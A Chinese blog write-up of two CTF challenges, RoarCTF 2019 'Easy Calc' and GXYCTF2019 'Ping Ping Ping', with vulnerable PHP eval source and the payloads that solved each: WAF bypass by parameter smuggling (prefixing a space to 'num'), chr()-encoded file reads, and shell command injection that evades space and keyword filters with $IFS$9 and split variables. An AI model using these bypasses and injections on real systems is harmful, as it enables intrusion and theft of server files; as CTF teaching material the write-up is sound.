美文网首页
Easy Calc & Ping Ping Ping

Easy Calc & Ping Ping Ping

作者: jun123123 | 来源:发表于2020-05-09 14:46 被阅读0次

[RoarCTF 2019]Easy Calc

一个计算器页面可以实现简单的数学式计算,在elements中能看到实际上是提交给了calc.php页面,并且注释中提示存在waf。请求calc.php页面可以直接看到源码

<?php
error_reporting(0);
if(!isset($_GET['num'])){
 show_source(__FILE__);
}else{
 $str = $_GET['num'];
 $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
 foreach ($blacklist as $blackitem) {
 if (preg_match('/' . $blackitem . '/m', $str)) {
 die("what are you want to do?");
 }
 }
 eval('echo '.$str.';');
}
?>

这里进行了一些过滤并提供了一个命令执行,我们尝试提交?num=phpinfo()

返回了403,可能是代理中也存在WAF,我们尝试了一下发现所有字母都被过滤,但是发现WAF只对num变量进行了过滤,于是我们可以尝试提交其他参数,然后在php中解析为num。

在现代计算机模型中,常常采用分层设计的思路,每层只负责自己的任务,然后向上/下层提供接口。这样可以使项目设计起来更容易同时也降低了代码耦合。但是这样也可能存在一些问题,例如各个层级或者同一层级不同时段对同一目标的实现标准不同。正常情况下即使部分标准不同也能正常运行,但是如果攻击者利用了这种差异,就有可能产生一些安全问题。例如php中对session进行序列化和反序列化的方式不同导致的命令执行。

本题中利用的是WAF与php对参数解析方式不同导致的漏洞,该漏洞导致了http参数走私。

parser_str()函数是php中的一个字符串解析函数,它可以将字符串解析为变量或者数组。php会使用该函数对get和post提交的数据进行解析并储存到$_GET和$_POST数组中。为了保证变量名/键名有效,该函数会对键名进行一些替换。关于该部分,利用PHP的字符串解析特性Bypass一文中进行了较为详细的说明。

删除变量名前的空格(%20)和+(%2b),将变量名中的部分字符替换为_(%5f),包括空格(%29) +(%2b) .(%2e) [(%5b),删除变量名后的空白符(%00)。

而在本题的WAF中只会对num变量进行过滤,因此产生了参数走私漏洞。我们可以在num前加上空格或者+然后在提交payload,例如+num=phpinfo()

提交payload %20num=var_dump(scandir(chr(47))),可以看到根目录下有一个f1agg文件,再提交payload %20num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))即可获取flag

[GXYCTF2019]Ping Ping Ping

进入页面要求提供ip,根据题目名字能猜到后台进行了ping操作。尝试bash命令执行,提交参数ip=127.0.0.1|ls可以看到有一个flag.php文件。尝试cat读取文件发现空格被过滤。我们使用$IFS$9代替空格,然后发现flag也被过滤,于是我们提交ip=127.0.0.1;b=ag.php;a=fl;cat$IFS$9$a$b|base64,成功读取flag。

相关文章

网友评论

      本文标题:Easy Calc & Ping Ping Ping

      本文链接:https://www.haomeiwen.com/subject/qosknhtx.html